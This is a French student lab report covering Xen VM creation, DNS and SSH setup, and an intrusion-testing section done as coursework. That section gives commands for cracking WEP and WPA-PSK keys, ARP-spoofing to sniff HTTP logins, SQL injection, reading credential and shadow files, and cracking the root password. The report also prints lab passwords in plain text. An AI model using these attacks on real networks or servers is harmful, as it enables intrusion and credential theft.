TP sysres IMA5sc 2020/2021 G9
Création de la VM
root@capbreton:~# xen-create-image --hostname=Calicedelamort --ip=100.64.0.20 --netmask=255.255.255.240 --password=pasglop --dir=/usr/local/xen --dist=buster --gateway=100.64.0.5
--- Logical volume --- LV Path /dev/storage/PaulTanguy1 LV Name PaulTanguy1 VG Name storage LV UUID Mk2sRM-HJvO-Ul2V-7z4A-WYDR-w2Rs-woO4FD LV Write Access read/write LV Creation host, time capbreton, 2020-10-12 17:02:07 +0100 LV Status available # open 0 LV Size 10.00 GiB Current LE 2560 Segments 1 Allocation inherit Read ahead sectors auto - currently set to 256 Block device 254:24 --- Logical volume --- LV Path /dev/storage/PaulTanguy2 LV Name PaulTanguy2 VG Name storage LV UUID zWVz4u-2u2T-Fd1T-7W5X-G4Fg-M8dO-bEwuEt LV Write Access read/write LV Creation host, time capbreton, 2020-10-12 17:02:11 +0100 LV Status available # open 0 LV Size 10.00 GiB Current LE 2560 Segments 1 Allocation inherit Read ahead sectors auto - currently set to 256 Block device 254:25
Services Internet
Serveur SSH
On installe simplement un serveur SSH sur la VM. On modifie le fichier /etc/ssh/sshd_config pour autoriser la connexion en tant que root. On peut s'y connecter à distance avec la commande suivante :
ssh root@ns1.calicedelamort.site
(avec le même mot de passe (pifou) que les machines de TPs)
Serveur DNS
Dans un premier temps, on loue un nom de domaine sur gandi.net. Notre nom de domaine est calicedelamort.site
Ensuite, on installe sur la VM, le paquetage bind9
Une fois ce paquetage installé, on modifie les fichiers de configuration.
Dans /etc/bind/db.calicedelamort.site
;BIND data file for local loopback interface ; $TTL 604800 @ IN SOA ns1.calicedelamort.site. postmaster.calicedelamort.site. ( 3 ; Serial 604800 ; Refresh 86400 ; Retry 2419200 ; Expire 604800 ) ; Negative Cache TTL ; @ IN NS ns1.calicedelamort.site. @ IN NS ns6.gandi.net. @ IN MX 100 ns1 ns1 IN A 193.48.57.180
Ensuite, dans /etc/bind/named.conf.local
zone "calicedelamort.site" IN { type master; file "/etc/bind/db.calicedelamort.site"; allow-transfer {217.70.177.40;}; };
Et enfin, dans /etc/bind/name.conf.options :
options { directory "/var/cache/bind"; dnssec-enable yes; dnssec-validation auto; listen-on-v6 { any; }; allow-recursion { localhost; }; };
Pour finir, on se rend sur gandi.net et dans l'option Gluerecords on lie ns1.calicedelamort.site à l'adresse 193.48.57.180. Puis, on ajoute dans serveurs de noms externes :
ns1.calicedelamort.site ns6.gandi.net
Sécurisation de site web par certificat
Sécurisation de serveur DNS par DNSSEC
Tests d'intrusion
Cassage de clef WEP d'un point d'accés Wifi
En premier lieu, on installe le paquetage aircrack-ng sur un PC.
Ensuite, on utilise les commandes suivantes :
airmon-ng
Cette commande permet d'afficher les interfaces réseau
airmon-ng start <interface>
Pour passer l'interface en mode monitor
airodump-ng --encrypt wep 'nomInterface'
Pour afficher les réseaux wifi WEP
airodump-ng --write 'nomFichier' --channel 3 -bssid '@mac_AP' 'nomInterface'
Pour capturer les paquets émis par le point d'accés ciblé
aircrack-ng -x 'nomFichier'-01.cap
Pour cracker la clef WEP (à condition d'avoir capturé assez de paquets)
Cassage de mot de passe WPA-PSK par force brute
Pour cette partie, nous utilisons aussi le paquetage aircrack-ng.
On utilise les mêmes commandes que précédemment pour trouver les réseaux wifi utilisant WPA-PSK
airodump-ng --encrypt wpa-psk 'nomInterface'
airodump-ng --write 'nomFichier' --bssid '@mac_AP' -c 'numChannel' 'nomInterface'
Une fois que l'on obtient le handshake de point d'accés, on peut essayer de cracker la clef WPA-PSK à l'aide de la commande aircrack-ng
Cependant, il faut créer un dictionnaire de clef, dans le sujet, nous savons que la clef est composée de 8 chiffres, on crée donc un dictionnaire constitué de toutes les clef à 8 chiffres possible Pour cela, on utilisa la commande :
crunch 8 8 0123456789 > 'nomDuDico.txt'
Maintenant, on peut essayer de cracker la clef à l'aide du dictionnaire :
aircrack-ng -a 2 -w 'nomDuDico.txt' 'nomFichier'-01.cap
Au bout d'un certain temps, on obtient la clef WPA-PSK permettant de se connecter au point d'accés Wifi.
Il est aussi possible de cracker la clef avec hashcat. Cela permet de d'utiliser la puissance du GPU pour brute force la clef. Grace à ma super carte graphique la 2080 super, nous avons pu diviser par 100 le temps du brute force.
La commande est la suivante:
crunch 8 8 0123456789 | hashcat -m 2500 output.hccapx
Man In The Middle
(Homme du milieu en anglais)
D'abord, sur le eeePC, on modifie le fichier /proc/sys/net/ipv4/ip_forward :
echo 1 > /proc/sys/net/ipv4/ip_forward
Ensuite on utilise la commande du paquet dsniff :
arpspoof -i eth0 -t 172.26.145.254 172.26.145.58 arpspoof -i eth0 -t 172.26.145.58 172.26.145.254
Enfin, on utilise wireshark pour observer les paquets. Pour tester l'attaque MiTM, nous avons essayer de nous connecter à un site utilisant un protocole http.
Sur wireshark, nous avons pu voir, en clair, les identifiants de connexion ainsi que le mot de passe saisi par l'utilisateur.
Intrusion sur un serveur d'application Web
Pour cette partie, on se rend sur le lien http://honey.plil.info. Nous y trouvons une page de connexion demandant un login et un password.
N'ayant pas de compte sur ce site, on essaye une simple injection SQL : Dans les champs 'login' et 'password' on écrit l'injection SQL suivante : " ' OR 1 = 1 -- " Ca fonctionne ! Nous avons accès aux informations de connexion des utilisateurs
Grâce aux informations trouvées à l'aide de l'injection SQL nous pouvons nous connecter en tant qu'administrateur.
En explorant un peu le site, nous trouvons une fonctionnalité qui permet d'importer des fichiers sur la page web et de les télécharger.
En parallèle de cela, à l'aide de la commande
dirb http://honey.plil.info/
On trouve une page phpmyadmin : http://honey.plil.info/phpmyadmin
Encore une page de connexion, il faut donc trouver le login et le password permettant de se connecter à cette page. Cette fois, les injections SQL ne fonctionne pas.
Cependant, nous avons vu plus tôt que nous pouvions importer et télécharger des fichiers depuis la page web précédente, et en effectuant quelques tests, nous nous sommes rendu compte que ces fichiers provenaient du serveur qui hébergeait le site web.
En regardant sur internet, nous avons trouvé que le fichier contenant les logins et mot de passes de connexion à la page phpmyadmin se trouvaient dans /etc/phpmyadmin/config-db.php
Nous uploadons et téléchargeons ce fichier depuis la page web :
Nous avons maintenant accès à la page de gestion de la base de données du serveur.
Maintenant que l'on sait que l'on peut télécharger des fichiers depuis le serveur, on décide de télécharger le fichier /etc/passwd :
On trouve l'utilisateur 'rex' sur lequel on pourrait tenter de se connecter en ssh. Nous essayons, cependant, il nous faut le mot de passe de cet utilisateur. Explorons donc phpmyadmin en s'y connectant en tant que root.
En cherchant bien, on trouve un fichiers 'users' (dans la structure 'test') dans lequel apparait le mot de passe de l'utilisateur 'rex' en clair.
On se connecte donc en ssh sur cet utilisateur.
ssh rex@honey.plil.info
La dernière étape est donc de récupérer le mot de passe root du serveur. Or, on sait que celui-ci se trouve dans le fichier /etc/shadow , fichier qui est, bien entendu, accessible depuis l'utilisateur 'rex'.
Une fois ce fichier récupéré, il ne nous reste plus qu'à brute force le mot de passe root.
On utilise le programme 'John The Ripper', cependant, il nous faut un dictionnaire pour aider John The Riper. On sait que le mot de passe root à la même particularité que les mots de passes des machines de TPs. On crée donc un dictionnaire en fonction de cette information à l'aide de la commande 'crunch'.
On peut finalement lancer John The Riper avec le dictionnaire, on trouve le mot de passe, et on peut enfin se connecter en tant qu'utilisateur root sur le serveur.
TP ASR
Ajout d'une seconde interface réseau sur la VM
On se connecte sur capbreton
ssh root@capbreton
Et on modifie le fichier de configuration de notre VM (Calicedelamort.cfg) en y ajoutant une deuxième interfaces dans la ligne 'vif'
nano /etc/xen/Calicedelamort.cfg vif = [ 'bridge=IMA5sc, ip=100.64.0.20, mac=00:16:3E:DC:81:A8', 'bridge=bridgeStudents, ip=192.168.42.9 ,mac=00:16:3E:DC:81:A9' ]
Ensuite, on relance la VM et on modifie le fichier dans /etc/network/interfaces pour y ajouter l'interface réseau eth1 avec la bonne adresse IP
auto eth1 iface eth1 inet static address 192.168.42.9 netmask 255.255.255.0
Pour finir on réalise une masquarade à l'aide de la commande iptables
iptables -t nat -A POSTROUTING -p tcp -o eth0 -j SNAT --to-source 193.48.57.180 -s 192.168.42.23
Ansible
Premièrement, on installe ansible sur notre VM sur capbreton
apt install ansible
Ensuite, on génère les clefs ssh avec la commande
ssh-keygen -t rsa
Puis, on installe la clef publique sur les Vms cibles
cat .ssh/id_rsa.pub | ssh root@192.168.42.9 "cat >> /root/.ssh/authorized_keys2" (installation sur notre VM chassiron)